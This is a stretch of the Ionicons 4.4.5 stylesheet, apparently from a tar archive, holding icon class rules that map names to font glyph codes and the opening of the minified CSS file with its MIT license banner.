  content: "\f287";
}

.ion-md-arrow-round-back:before {
  content: "\f288";
}

.ion-md-arrow-round-down:before {
  content: "\f289";
}

.ion-md-arrow-round-forward:before {
  content: "\f28a";
}

.ion-md-arrow-round-up:before {
  content: "\f28b";
}

.ion-md-arrow-up:before {
  content: "\f28c";
}

.ion-md-at:before {
  content: "\f28d";
}

.ion-md-attach:before {
  content: "\f28e";
}

.ion-md-backspace:before {
  content: "\f28f";
}

.ion-md-barcode:before {
  content: "\f290";
}

.ion-md-baseball:before {
  content: "\f291";
}

.ion-md-basket:before {
  content: "\f292";
}

.ion-md-basketball:before {
  content: "\f293";
}

.ion-md-battery-charging:before {
  content: "\f294";
}

.ion-md-battery-dead:before {
  content: "\f295";
}

.ion-md-battery-full:before {
  content: "\f296";
}

.ion-md-beaker:before {
  content: "\f297";
}

.ion-md-bed:before {
  content: "\f160";
}

.ion-md-beer:before {
  content: "\f298";
}

.ion-md-bicycle:before {
  content: "\f299";
}

.ion-md-bluetooth:before {
  content: "\f29a";
}

.ion-md-boat:before {
  content: "\f29b";
}

.ion-md-body:before {
  content: "\f29c";
}

.ion-md-bonfire:before {
  content: "\f29d";
}

.ion-md-book:before {
  content: "\f29e";
}

.ion-md-bookmark:before {
  content: "\f29f";
}

.ion-md-bookmarks:before {
  content: "\f2a0";
}

.ion-md-bowtie:before {
  content: "\f2a1";
}

.ion-md-briefcase:before {
  content: "\f2a2";
}

.ion-md-browsers:before {
  content: "\f2a3";
}

.ion-md-brush:before {
  content: "\f2a4";
}

.ion-md-bug:before {
  content: "\f2a5";
}

.ion-md-build:before {
  content: "\f2a6";
}

.ion-md-bulb:before {
  content: "\f2a7";
}

.ion-md-bus:before {
  content: "\f2a8";
}

.ion-md-business:before {
  content: "\f1a4";
}

.ion-md-cafe:before {
  content: "\f2a9";
}

.ion-md-calculator:before {
  content: "\f2aa";
}

.ion-md-calendar:before {
  content: "\f2ab";
}

.ion-md-call:before {
  content: "\f2ac";
}

.ion-md-camera:before {
  content: "\f2ad";
}

.ion-md-car:before {
  content: "\f2b2";
}

.ion-md-card:before {
  content: "\f2b3";
}

.ion-md-cart:before {
  content: "\f2b4";
}

.ion-md-cash:before {
  content: "\f2b5";
}

.ion-md-cellular:before {
  content: "\f164";
}

.ion-md-chatboxes:before {
  content: "\f2b6";
}

.ion-md-chatbubbles:before {
  content: "\f2b7";
}

.ion-md-checkbox:before {
  content: "\f2b9";
}

.ion-md-checkbox-outline:before {
  content: "\f2b8";
}

.ion-md-checkmark:before {
  content: "\f2bc";
}

.ion-md-checkmark-circle:before {
  content: "\f2bb";
}

.ion-md-checkmark-circle-outline:before {
  content: "\f2ba";
}

.ion-md-clipboard:before {
  content: "\f2bd";
}

.ion-md-clock:before {
  content: "\f2be";
}

.ion-md-close:before {
  content: "\f2c0";
}

.ion-md-close-circle:before {
  content: "\f2bf";
}

.ion-md-close-circle-outline:before {
  content: "\f166";
}

.ion-md-cloud:before {
  content: "\f2c9";
}

.ion-md-cloud-circle:before {
  content: "\f2c2";
}

.ion-md-cloud-done:before {
  content: "\f2c3";
}

.ion-md-cloud-download:before {
  content: "\f2c6";
}

.ion-md-cloud-outline:before {
  content: "\f2c7";
}

.ion-md-cloud-upload:before {
  content: "\f2c8";
}

.ion-md-cloudy:before {
  content: "\f2cb";
}

.ion-md-cloudy-night:before {
  content: "\f2ca";
}

.ion-md-code:before {
  content: "\f2ce";
}

.ion-md-code-download:before {
  content: "\f2cc";
}

.ion-md-code-working:before {
  content: "\f2cd";
}

.ion-md-cog:before {
  content: "\f2cf";
}

.ion-md-color-fill:before {
  content: "\f2d0";
}

.ion-md-color-filter:before {
  content: "\f2d1";
}

.ion-md-color-palette:before {
  content: "\f2d2";
}

.ion-md-color-wand:before {
  content: "\f2d3";
}

.ion-md-compass:before {
  content: "\f2d4";
}

.ion-md-construct:before {
  content: "\f2d5";
}

.ion-md-contact:before {
  content: "\f2d6";
}

.ion-md-contacts:before {
  content: "\f2d7";
}

.ion-md-contract:before {
  content: "\f2d8";
}

.ion-md-contrast:before {
  content: "\f2d9";
}

.ion-md-copy:before {
  content: "\f2da";
}

.ion-md-create:before {
  content: "\f2db";
}

.ion-md-crop:before {
  content: "\f2dc";
}

.ion-md-cube:before {
  content: "\f2dd";
}

.ion-md-cut:before {
  content: "\f2de";
}

.ion-md-desktop:before {
  content: "\f2df";
}

.ion-md-disc:before {
  content: "\f2e0";
}

.ion-md-document:before {
  content: "\f2e1";
}

.ion-md-done-all:before {
  content: "\f2e2";
}

.ion-md-download:before {
  content: "\f2e3";
}

.ion-md-easel:before {
  content: "\f2e4";
}

.ion-md-egg:before {
  content: "\f2e5";
}

.ion-md-exit:before {
  content: "\f2e6";
}

.ion-md-expand:before {
  content: "\f2e7";
}

.ion-md-eye:before {
  content: "\f2e9";
}

.ion-md-eye-off:before {
  content: "\f2e8";
}

.ion-md-fastforward:before {
  content: "\f2ea";
}

.ion-md-female:before {
  content: "\f2eb";
}

.ion-md-filing:before {
  content: "\f2ec";
}

.ion-md-film:before {
  content: "\f2ed";
}

.ion-md-finger-print:before {
  content: "\f2ee";
}

.ion-md-fitness:before {
  content: "\f1ac";
}

.ion-md-flag:before {
  content: "\f2ef";
}

.ion-md-flame:before {
  content: "\f2f0";
}

.ion-md-flash:before {
  content: "\f2f1";
}

.ion-md-flash-off:before {
  content: "\f169";
}

.ion-md-flashlight:before {
  content: "\f16b";
}

.ion-md-flask:before {
  content: "\f2f2";
}

.ion-md-flower:before {
  content: "\f2f3";
}

.ion-md-folder:before {
  content: "\f2f5";
}

.ion-md-folder-open:before {
  content: "\f2f4";
}

.ion-md-football:before {
  content: "\f2f6";
}

.ion-md-funnel:before {
  content: "\f2f7";
}

.ion-md-gift:before {
  content: "\f199";
}

.ion-md-git-branch:before {
  content: "\f2fa";
}

.ion-md-git-commit:before {
  content: "\f2fb";
}

.ion-md-git-compare:before {
  content: "\f2fc";
}

.ion-md-git-merge:before {
  content: "\f2fd";
}

.ion-md-git-network:before {
  content: "\f2fe";
}

.ion-md-git-pull-request:before {
  content: "\f2ff";
}

.ion-md-glasses:before {
  content: "\f300";
}

.ion-md-globe:before {
  content: "\f301";
}

.ion-md-grid:before {
  content: "\f302";
}

.ion-md-hammer:before {
  content: "\f303";
}

.ion-md-hand:before {
  content: "\f304";
}

.ion-md-happy:before {
  content: "\f305";
}

.ion-md-headset:before {
  content: "\f306";
}

.ion-md-heart:before {
  content: "\f308";
}

.ion-md-heart-dislike:before {
  content: "\f167";
}

.ion-md-heart-empty:before {
  content: "\f1a1";
}

.ion-md-heart-half:before {
  content: "\f1a2";
}

.ion-md-help:before {
  content: "\f30b";
}

.ion-md-help-buoy:before {
  content: "\f309";
}

.ion-md-help-circle:before {
  content: "\f30a";
}

.ion-md-help-circle-outline:before {
  content: "\f16d";
}

.ion-md-home:before {
  content: "\f30c";
}

.ion-md-hourglass:before {
  content: "\f111";
}

.ion-md-ice-cream:before {
  content: "\f30d";
}

.ion-md-image:before {
  content: "\f30e";
}

.ion-md-images:before {
  content: "\f30f";
}

.ion-md-infinite:before {
  content: "\f310";
}

.ion-md-information:before {
  content: "\f312";
}

.ion-md-information-circle:before {
  content: "\f311";
}

.ion-md-information-circle-outline:before {
  content: "\f16f";
}

.ion-md-jet:before {
  content: "\f315";
}

.ion-md-journal:before {
  content: "\f18d";
}

.ion-md-key:before {
  content: "\f316";
}

.ion-md-keypad:before {
  content: "\f317";
}

.ion-md-laptop:before {
  content: "\f318";
}

.ion-md-leaf:before {
  content: "\f319";
}

.ion-md-link:before {
  content: "\f22e";
}

.ion-md-list:before {
  content: "\f31b";
}

.ion-md-list-box:before {
  content: "\f31a";
}

.ion-md-locate:before {
  content: "\f31c";
}

.ion-md-lock:before {
  content: "\f31d";
}

.ion-md-log-in:before {
  content: "\f31e";
}

.ion-md-log-out:before {
  content: "\f31f";
}

.ion-md-magnet:before {
  content: "\f320";
}

.ion-md-mail:before {
  content: "\f322";
}

.ion-md-mail-open:before {
  content: "\f321";
}

.ion-md-mail-unread:before {
  content: "\f172";
}

.ion-md-male:before {
  content: "\f323";
}

.ion-md-man:before {
  content: "\f324";
}

.ion-md-map:before {
  content: "\f325";
}

.ion-md-medal:before {
  content: "\f326";
}

.ion-md-medical:before {
  content: "\f327";
}

.ion-md-medkit:before {
  content: "\f328";
}

.ion-md-megaphone:before {
  content: "\f329";
}

.ion-md-menu:before {
  content: "\f32a";
}

.ion-md-mic:before {
  content: "\f32c";
}

.ion-md-mic-off:before {
  content: "\f32b";
}

.ion-md-microphone:before {
  content: "\f32d";
}

.ion-md-moon:before {
  content: "\f32e";
}

.ion-md-more:before {
  content: "\f1c9";
}

.ion-md-move:before {
  content: "\f331";
}

.ion-md-musical-note:before {
  content: "\f332";
}

.ion-md-musical-notes:before {
  content: "\f333";
}

.ion-md-navigate:before {
  content: "\f334";
}

.ion-md-notifications:before {
  content: "\f338";
}

.ion-md-notifications-off:before {
  content: "\f336";
}

.ion-md-notifications-outline:before {
  content: "\f337";
}

.ion-md-nuclear:before {
  content: "\f339";
}

.ion-md-nutrition:before {
  content: "\f33a";
}

.ion-md-open:before {
  content: "\f33b";
}

.ion-md-options:before {
  content: "\f33c";
}

.ion-md-outlet:before {
  content: "\f33d";
}

.ion-md-paper:before {
  content: "\f33f";
}

.ion-md-paper-plane:before {
  content: "\f33e";
}

.ion-md-partly-sunny:before {
  content: "\f340";
}

.ion-md-pause:before {
  content: "\f341";
}

.ion-md-paw:before {
  content: "\f342";
}

.ion-md-people:before {
  content: "\f343";
}

.ion-md-person:before {
  content: "\f345";
}

.ion-md-person-add:before {
  content: "\f344";
}

.ion-md-phone-landscape:before {
  content: "\f346";
}

.ion-md-phone-portrait:before {
  content: "\f347";
}

.ion-md-photos:before {
  content: "\f348";
}

.ion-md-pie:before {
  content: "\f349";
}

.ion-md-pin:before {
  content: "\f34a";
}

.ion-md-pint:before {
  content: "\f34b";
}

.ion-md-pizza:before {
  content: "\f354";
}

.ion-md-planet:before {
  content: "\f356";
}

.ion-md-play:before {
  content: "\f357";
}

.ion-md-play-circle:before {
  content: "\f174";
}

.ion-md-podium:before {
  content: "\f358";
}

.ion-md-power:before {
  content: "\f359";
}

.ion-md-pricetag:before {
  content: "\f35a";
}

.ion-md-pricetags:before {
  content: "\f35b";
}

.ion-md-print:before {
  content: "\f35c";
}

.ion-md-pulse:before {
  content: "\f35d";
}

.ion-md-qr-scanner:before {
  content: "\f35e";
}

.ion-md-quote:before {
  content: "\f35f";
}

.ion-md-radio:before {
  content: "\f362";
}

.ion-md-radio-button-off:before {
  content: "\f360";
}

.ion-md-radio-button-on:before {
  content: "\f361";
}

.ion-md-rainy:before {
  content: "\f363";
}

.ion-md-recording:before {
  content: "\f364";
}

.ion-md-redo:before {
  content: "\f365";
}

.ion-md-refresh:before {
  content: "\f366";
}

.ion-md-refresh-circle:before {
  content: "\f228";
}

.ion-md-remove:before {
  content: "\f368";
}

.ion-md-remove-circle:before {
  content: "\f367";
}

.ion-md-remove-circle-outline:before {
  content: "\f176";
}

.ion-md-reorder:before {
  content: "\f369";
}

.ion-md-repeat:before {
  content: "\f36a";
}

.ion-md-resize:before {
  content: "\f36b";
}

.ion-md-restaurant:before {
  content: "\f36c";
}

.ion-md-return-left:before {
  content: "\f36d";
}

.ion-md-return-right:before {
  content: "\f36e";
}

.ion-md-reverse-camera:before {
  content: "\f36f";
}

.ion-md-rewind:before {
  content: "\f370";
}

.ion-md-ribbon:before {
  content: "\f371";
}

.ion-md-rocket:before {
  content: "\f179";
}

.ion-md-rose:before {
  content: "\f372";
}

.ion-md-sad:before {
  content: "\f373";
}

.ion-md-save:before {
  content: "\f1a9";
}

.ion-md-school:before {
  content: "\f374";
}

.ion-md-search:before {
  content: "\f375";
}

.ion-md-send:before {
  content: "\f376";
}

.ion-md-settings:before {
  content: "\f377";
}

.ion-md-share:before {
  content: "\f379";
}

.ion-md-share-alt:before {
  content: "\f378";
}

.ion-md-shirt:before {
  content: "\f37a";
}

.ion-md-shuffle:before {
  content: "\f37b";
}

.ion-md-skip-backward:before {
  content: "\f37c";
}

.ion-md-skip-forward:before {
  content: "\f37d";
}

.ion-md-snow:before {
  content: "\f37e";
}

.ion-md-speedometer:before {
  content: "\f37f";
}

.ion-md-square:before {
  content: "\f381";
}

.ion-md-square-outline:before {
  content: "\f380";
}

.ion-md-star:before {
  content: "\f384";
}

.ion-md-star-half:before {
  content: "\f382";
}

.ion-md-star-outline:before {
  content: "\f383";
}

.ion-md-stats:before {
  content: "\f385";
}

.ion-md-stopwatch:before {
  content: "\f386";
}

.ion-md-subway:before {
  content: "\f387";
}

.ion-md-sunny:before {
  content: "\f388";
}

.ion-md-swap:before {
  content: "\f389";
}

.ion-md-switch:before {
  content: "\f38a";
}

.ion-md-sync:before {
  content: "\f38b";
}

.ion-md-tablet-landscape:before {
  content: "\f38c";
}

.ion-md-tablet-portrait:before {
  content: "\f38d";
}

.ion-md-tennisball:before {
  content: "\f38e";
}

.ion-md-text:before {
  content: "\f38f";
}

.ion-md-thermometer:before {
  content: "\f390";
}

.ion-md-thumbs-down:before {
  content: "\f391";
}

.ion-md-thumbs-up:before {
  content: "\f392";
}

.ion-md-thunderstorm:before {
  content: "\f393";
}

.ion-md-time:before {
  content: "\f394";
}

.ion-md-timer:before {
  content: "\f395";
}

.ion-md-today:before {
  content: "\f17d";
}

.ion-md-train:before {
  content: "\f396";
}

.ion-md-transgender:before {
  content: "\f397";
}

.ion-md-trash:before {
  content: "\f398";
}

.ion-md-trending-down:before {
  content: "\f399";
}

.ion-md-trending-up:before {
  content: "\f39a";
}

.ion-md-trophy:before {
  content: "\f39b";
}

.ion-md-tv:before {
  content: "\f17f";
}

.ion-md-umbrella:before {
  content: "\f39c";
}

.ion-md-undo:before {
  content: "\f39d";
}

.ion-md-unlock:before {
  content: "\f39e";
}

.ion-md-videocam:before {
  content: "\f39f";
}

.ion-md-volume-high:before {
  content: "\f123";
}

.ion-md-volume-low:before {
  content: "\f131";
}

.ion-md-volume-mute:before {
  content: "\f3a1";
}

.ion-md-volume-off:before {
  content: "\f3a2";
}

.ion-md-walk:before {
  content: "\f3a4";
}

.ion-md-wallet:before {
  content: "\f18f";
}

.ion-md-warning:before {
  content: "\f3a5";
}

.ion-md-watch:before {
  content: "\f3a6";
}

.ion-md-water:before {
  content: "\f3a7";
}

.ion-md-wifi:before {
  content: "\f3a8";
}

.ion-md-wine:before {
  content: "\f3a9";
}

.ion-md-woman:before {
  content: "\f3aa";
}
css/ionicons.min.css000064400000133012151701353760010461 0ustar00/*!
  Ionicons, v4.4.5
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/@font-face{font-family:"Ionicons";src:url("../fonts/ionicons.eot?v=4.4.5");src:url("../fonts/ionicons.eot?v=4.4.5#iefix") format("embedded-opentype"),url("../fonts/ionicons.woff2?v=4.4.5") format("woff2"),url("../fonts/ionicons.woff?v=4.4.5") format("woff"),url("../fonts/ionicons.ttf?v=4.4.5") format("truetype"),url("../fonts/ionicons.svg?v=4.4.5#Ionicons") format("svg");font-weight:normal;font-style:normal}.ion,.ionicons,.ion-ios-add:before,.ion-ios-add-circle:before,.ion-ios-add-circle-outline:before,.ion-ios-airplane:before,.ion-ios-alarm:before,.ion-ios-albums:before,.ion-ios-alert:before,.ion-ios-american-football:before,.ion-ios-analytics:before,.ion-ios-aperture:before,.ion-ios-apps:before,.ion-ios-appstore:before,.ion-ios-archive:before,.ion-ios-arrow-back:before,.ion-ios-arrow-down:before,.ion-ios-arrow-dropdown:before,.ion-ios-arrow-dropdown-circle:before,.ion-ios-arrow-dropleft:before,.ion-ios-arrow-dropleft-circle:before,.ion-ios-arrow-dropright:before,.ion-ios-arrow-dropright-circle:before,.ion-ios-arrow-dropup:before,.ion-ios-arrow-dropup-circle:before,.ion-ios-arrow-forward:before,.ion-ios-arrow-round-back:before,.ion-ios-arrow-round-down:before,.ion-ios-arrow-round-forward:before,.ion-ios-arrow-round-up:before,.ion-ios-arrow-up:before,.ion-ios-at:before,.ion-ios-attach:before,.ion-ios-backspace:before,.ion-ios-barcode:before,.ion-ios-baseball:before,.ion-ios-basket:before,.ion-ios-basketball:before,.ion-ios-battery-charging:before,.ion-ios-battery-dead:before,.ion-ios-battery-full:before,.ion-ios-beaker:before,.ion-ios-bed:before,.ion-ios-beer:before,.ion-ios-bicycle:before,.ion-ios-bluetooth:before,.ion-ios-boat:before,.ion-ios-body:before,.ion-ios-bonfire:before,.ion-ios-book:before,.ion-ios-bookmark:before,.ion-ios-bookmarks:before,.ion-ios-bowtie:before,.ion-ios-briefcase:before,.ion-ios-browsers:before,.ion-ios-brush:before,.ion-ios-bug:before,.ion-ios-build:before,.ion-ios-bulb:before,.ion-ios-bus:before,.ion-ios-business:before,.ion-ios-cafe:before,.ion-ios-calculator:before,.ion-ios-calendar:before,.ion-ios-call:before,.ion-ios-camera:before,.ion-ios-car:before,.ion-ios-card:before,.ion-ios-cart:before,.ion-ios-cash:before,.ion-ios-cellular:before,.ion-ios-chatboxes:before,.ion-ios-chatbubbles:before,.ion-ios-checkbox:before,.ion-ios-checkbox-outline:before,.ion-ios-checkmark:before,.ion-ios-checkmark-circle:before,.ion-ios-checkmark-circle-outline:before,.ion-ios-clipboard:before,.ion-ios-clock:before,.ion-ios-close:before,.ion-ios-close-circle:before,.ion-ios-close-circle-outline:before,.ion-ios-cloud:before,.ion-ios-cloud-circle:before,.ion-ios-cloud-done:before,.ion-ios-cloud-download:before,.ion-ios-cloud-outline:before,.ion-ios-cloud-upload:before,.ion-ios-cloudy:before,.ion-ios-cloudy-night:before,.ion-ios-code:before,.ion-ios-code-download:before,.ion-ios-code-working:before,.ion-ios-cog:before,.ion-ios-color-fill:before,.ion-ios-color-filter:before,.ion-ios-color-palette:before,.ion-ios-color-wand:before,.ion-ios-compass:before,.ion-ios-construct:before,.ion-ios-contact:before,.ion-ios-contacts:before,.ion-ios-contract:before,.ion-ios-contrast:before,.ion-ios-copy:before,.ion-ios-create:before,.ion-ios-crop:before,.ion-ios-cube:before,.ion-ios-cut:before,.ion-ios-desktop:before,.ion-ios-disc:before,.ion-ios-document:before,.ion-ios-done-all:before,.ion-ios-download:before,.ion-ios-easel:before,.ion-ios-egg:before,.ion-ios-exit:before,.ion-ios-expand:before,.ion-ios-eye:before,.ion-ios-eye-off:before,.ion-ios-fastforward:before,.ion-ios-female:before,.ion-ios-filing:before,.ion-ios-film:before,.ion-ios-finger-print:before,.ion-ios-fitness:before,.ion-ios-flag:before,.ion-ios-flame:before,.ion-ios-flash:before,.ion-ios-flash-off:before,.ion-ios-flashlight:before,.ion-ios-flask:before,.ion-ios-flower:before,.ion-ios-folder:before,.ion-ios-folder-open:before,.ion-ios-football:before,.ion-ios-funnel:before,.ion-ios-gift:before,.ion-ios-git-branch:before,.ion-ios-git-commit:before,.ion-ios-git-compare:before,.ion-ios-git-merge:before,.ion-ios-git-network:before,.ion-ios-git-pull-request:before,.ion-ios-glasses:before,.ion-ios-globe:before,.ion-ios-grid:before,.ion-ios-hammer:before,.ion-ios-hand:before,.ion-ios-happy:before,.ion-ios-headset:before,.ion-ios-heart:before,.ion-ios-heart-dislike:before,.ion-ios-heart-empty:before,.ion-ios-heart-half:before,.ion-ios-help:before,.ion-ios-help-buoy:before,.ion-ios-help-circle:before,.ion-ios-help-circle-outline:before,.ion-ios-home:before,.ion-ios-hourglass:before,.ion-ios-ice-cream:before,.ion-ios-image:before,.ion-ios-images:before,.ion-ios-infinite:before,.ion-ios-information:before,.ion-ios-information-circle:before,.ion-ios-information-circle-outline:before,.ion-ios-jet:before,.ion-ios-journal:before,.ion-ios-key:before,.ion-ios-keypad:before,.ion-ios-laptop:before,.ion-ios-leaf:before,.ion-ios-link:before,.ion-ios-list:before,.ion-ios-list-box:before,.ion-ios-locate:before,.ion-ios-lock:before,.ion-ios-log-in:before,.ion-ios-log-out:before,.ion-ios-magnet:before,.ion-ios-mail:before,.ion-ios-mail-open:before,.ion-ios-mail-unread:before,.ion-ios-male:before,.ion-ios-man:before,.ion-ios-map:before,.ion-ios-medal:before,.ion-ios-medical:before,.ion-ios-medkit:before,.ion-ios-megaphone:before,.ion-ios-menu:before,.ion-ios-mic:before,.ion-ios-mic-off:before,.ion-ios-microphone:before,.ion-ios-moon:before,.ion-ios-more:before,.ion-ios-move:before,.ion-ios-musical-note:before,.ion-ios-musical-notes:before,.ion-ios-navigate:before,.ion-ios-notifications:before,.ion-ios-notifications-off:before,.ion-ios-notifications-outline:before,.ion-ios-nuclear:before,.ion-ios-nutrition:before,.ion-ios-open:before,.ion-ios-options:before,.ion-ios-outlet:before,.ion-ios-paper:before,.ion-ios-paper-plane:before,.ion-ios-partly-sunny:before,.ion-ios-pause:before,.ion-ios-paw:before,.ion-ios-people:before,.ion-ios-person:before,.ion-ios-person-add:before,.ion-ios-phone-landscape:before,.ion-ios-phone-portrait:before,.ion-ios-photos:before,.ion-ios-pie:before,.ion-ios-pin:before,.ion-ios-pint:before,.ion-ios-pizza:before,.ion-ios-planet:before,.ion-ios-play:before,.ion-ios-play-circle:before,.ion-ios-podium:before,.ion-ios-power:before,.ion-ios-pricetag:before,.ion-ios-pricetags:before,.ion-ios-print:before,.ion-ios-pulse:before,.ion-ios-qr-scanner:before,.ion-ios-quote:before,.ion-ios-radio:before,.ion-ios-radio-button-off:before,.ion-ios-radio-button-on:before,.ion-ios-rainy:before,.ion-ios-recording:before,.ion-ios-redo:before,.ion-ios-refresh:before,.ion-ios-refresh-circle:before,.ion-ios-remove:before,.ion-ios-remove-circle:before,.ion-ios-remove-circle-outline:before,.ion-ios-reorder:before,.ion-ios-repeat:before,.ion-ios-resize:before,.ion-ios-restaurant:before,.ion-ios-return-left:before,.ion-ios-return-right:before,.ion-ios-reverse-camera:before,.ion-ios-rewind:before,.ion-ios-ribbon:before,.ion-ios-rocket:before,.ion-ios-rose:before,.ion-ios-sad:before,.ion-ios-save:before,.ion-ios-school:before,.ion-ios-search:before,.ion-ios-send:before,.ion-ios-settings:before,.ion-ios-share:before,.ion-ios-share-alt:before,.ion-ios-shirt:before,.ion-ios-shuffle:before,.ion-ios-skip-backward:before,.ion-ios-skip-forward:before,.ion-ios-snow:before,.ion-ios-speedometer:before,.ion-ios-square:before,.ion-ios-square-outline:before,.ion-ios-star:before,.ion-ios-star-half:before,.ion-ios-star-outline:before,.ion-ios-stats:before,.ion-ios-stopwatch:before,.ion-ios-subway:before,.ion-ios-sunny:before,.ion-ios-swap:before,.ion-ios-switch:before,.ion-ios-sync:before,.ion-ios-tablet-landscape:before,.ion-ios-tablet-portrait:before,.ion-ios-tennisball:before,.ion-ios-text:before,.ion-ios-thermometer:before,.ion-ios-thumbs-down:before,.ion-ios-thumbs-up:before,.ion-ios-thunderstorm:before,.ion-ios-time:before,.ion-ios-timer:before,.ion-ios-today:before,.ion-ios-train:before,.ion-ios-transgender:before,.ion-ios-trash:before,.ion-ios-trending-down:before,.ion-ios-trending-up:before,.ion-ios-trophy:before,.ion-ios-tv:before,.ion-ios-umbrella:before,.ion-ios-undo:before,.ion-ios-unlock:before,.ion-ios-videocam:before,.ion-ios-volume-high:before,.ion-ios-volume-low:before,.ion-ios-volume-mute:before,.ion-ios-volume-off:before,.ion-ios-walk:before,.ion-ios-wallet:before,.ion-ios-warning:before,.ion-ios-watch:before,.ion-ios-water:before,.ion-ios-wifi:before,.ion-ios-wine:before,.ion-ios-woman:before,.ion-logo-android:before,.ion-logo-angular:before,.ion-logo-apple:before,.ion-logo-bitbucket:before,.ion-logo-bitcoin:before,.ion-logo-buffer:before,.ion-logo-chrome:before,.ion-logo-closed-captioning:before,.ion-logo-codepen:before,.ion-logo-css3:before,.ion-logo-designernews:before,.ion-logo-dribbble:before,.ion-logo-dropbox:before,.ion-logo-euro:before,.ion-logo-facebook:before,.ion-logo-flickr:before,.ion-logo-foursquare:before,.ion-logo-freebsd-devil:before,.ion-logo-game-controller-a:before,.ion-logo-game-controller-b:before,.ion-logo-github:before,.ion-logo-google:before,.ion-logo-googleplus:before,.ion-logo-hackernews:before,.ion-logo-html5:before,.ion-logo-instagram:before,.ion-logo-ionic:before,.ion-logo-ionitron:before,.ion-logo-javascript:before,.ion-logo-linkedin:before,.ion-logo-markdown:before,.ion-logo-model-s:before,.ion-logo-no-smoking:before,.ion-logo-nodejs:before,.ion-logo-npm:before,.ion-logo-octocat:before,.ion-logo-pinterest:before,.ion-logo-playstation:before,.ion-logo-polymer:before,.ion-logo-python:before,.ion-logo-reddit:before,.ion-logo-rss:before,.ion-logo-sass:before,.ion-logo-skype:before,.ion-logo-slack:before,.ion-logo-snapchat:before,.ion-logo-steam:before,.ion-logo-tumblr:before,.ion-logo-tux:before,.ion-logo-twitch:before,.ion-logo-twitter:before,.ion-logo-usd:before,.ion-logo-vimeo:before,.ion-logo-vk:before,.ion-logo-whatsapp:before,.ion-logo-windows:before,.ion-logo-wordpress:before,.ion-logo-xbox:before,.ion-logo-xing:before,.ion-logo-yahoo:before,.ion-logo-yen:before,.ion-logo-youtube:before,.ion-md-add:before,.ion-md-add-circle:before,.ion-md-add-circle-outline:before,.ion-md-airplane:before,.ion-md-alarm:before,.ion-md-albums:before,.ion-md-alert:before,.ion-md-american-football:before,.ion-md-analytics:before,.ion-md-aperture:before,.ion-md-apps:before,.ion-md-appstore:before,.ion-md-archive:before,.ion-md-arrow-back:before,.ion-md-arrow-down:before,.ion-md-arrow-dropdown:before,.ion-md-arrow-dropdown-circle:before,.ion-md-arrow-dropleft:before,.ion-md-arrow-dropleft-circle:before,.ion-md-arrow-dropright:before,.ion-md-arrow-dropright-circle:before,.ion-md-arrow-dropup:before,.ion-md-arrow-dropup-circle:before,.ion-md-arrow-forward:before,.ion-md-arrow-round-back:before,.ion-md-arrow-round-down:before,.ion-md-arrow-round-forward:before,.ion-md-arrow-round-up:before,.ion-md-arrow-up:before,.ion-md-at:before,.ion-md-attach:before,.ion-md-backspace:before,.ion-md-barcode:before,.ion-md-baseball:before,.ion-md-basket:before,.ion-md-basketball:before,.ion-md-battery-charging:before,.ion-md-battery-dead:before,.ion-md-battery-full:before,.ion-md-beaker:before,.ion-md-bed:before,.ion-md-beer:before,.ion-md-bicycle:before,.ion-md-bluetooth:before,.ion-md-boat:before,.ion-md-body:before,.ion-md-bonfire:before,.ion-md-book:before,.ion-md-bookmark:before,.ion-md-bookmarks:before,.ion-md-bowtie:before,.ion-md-briefcase:before,.ion-md-browsers:before,.ion-md-brush:before,.ion-md-bug:before,.ion-md-build:before,.ion-md-bulb:before,.ion-md-bus:before,.ion-md-business:before,.ion-md-cafe:before,.ion-md-calculator:before,.ion-md-calendar:before,.ion-md-call:before,.ion-md-camera:before,.ion-md-car:before,.ion-md-card:before,.ion-md-cart:before,.ion-md-cash:before,.ion-md-cellular:before,.ion-md-chatboxes:before,.ion-md-chatbubbles:before,.ion-md-checkbox:before,.ion-md-checkbox-outline:before,.ion-md-checkmark:before,.ion-md-checkmark-circle:before,.ion-md-checkmark-circle-outline:before,.ion-md-clipboard:before,.ion-md-clock:before,.ion-md-close:before,.ion-md-close-circle:before,.ion-md-close-circle-outline:before,.ion-md-cloud:before,.ion-md-cloud-circle:before,.ion-md-cloud-done:before,.ion-md-cloud-download:before,.ion-md-cloud-outline:before,.ion-md-cloud-upload:before,.ion-md-cloudy:before,.ion-md-cloudy-night:before,.ion-md-code:before,.ion-md-code-download:before,.ion-md-code-working:before,.ion-md-cog:before,.ion-md-color-fill:before,.ion-md-color-filter:before,.ion-md-color-palette:before,.ion-md-color-wand:before,.ion-md-compass:before,.ion-md-construct:before,.ion-md-contact:before,.ion-md-contacts:before,.ion-md-contract:before,.ion-md-contrast:before,.ion-md-copy:before,.ion-md-create:before,.ion-md-crop:before,.ion-md-cube:before,.ion-md-cut:before,.ion-md-desktop:before,.ion-md-disc:before,.ion-md-document:before,.ion-md-done-all:before,.ion-md-download:before,.ion-md-easel:before,.ion-md-egg:before,.ion-md-exit:before,.ion-md-expand:before,.ion-md-eye:before,.ion-md-eye-off:before,.ion-md-fastforward:before,.ion-md-female:before,.ion-md-filing:before,.ion-md-film:before,.ion-md-finger-print:before,.ion-md-fitness:before,.ion-md-flag:before,.ion-md-flame:before,.ion-md-flash:before,.ion-md-flash-off:before,.ion-md-flashlight:before,.ion-md-flask:before,.ion-md-flower:before,.ion-md-folder:before,.ion-md-folder-open:before,.ion-md-football:before,.ion-md-funnel:before,.ion-md-gift:before,.ion-md-git-branch:before,.ion-md-git-commit:before,.ion-md-git-compare:before,.ion-md-git-merge:before,.ion-md-git-network:before,.ion-md-git-pull-request:before,.ion-md-glasses:before,.ion-md-globe:before,.ion-md-grid:before,.ion-md-hammer:before,.ion-md-hand:before,.ion-md-happy:before,.ion-md-headset:before,.ion-md-heart:before,.ion-md-heart-dislike:before,.ion-md-heart-empty:before,.ion-md-heart-half:before,.ion-md-help:before,.ion-md-help-buoy:before,.ion-md-help-circle:before,.ion-md-help-circle-outline:before,.ion-md-home:before,.ion-md-hourglass:before,.ion-md-ice-cream:before,.ion-md-image:before,.ion-md-images:before,.ion-md-infinite:before,.ion-md-information:before,.ion-md-information-circle:before,.ion-md-information-circle-outline:before,.ion-md-jet:before,.ion-md-journal:before,.ion-md-key:before,.ion-md-keypad:before,.ion-md-laptop:before,.ion-md-leaf:before,.ion-md-link:before,.ion-md-list:before,.ion-md-list-b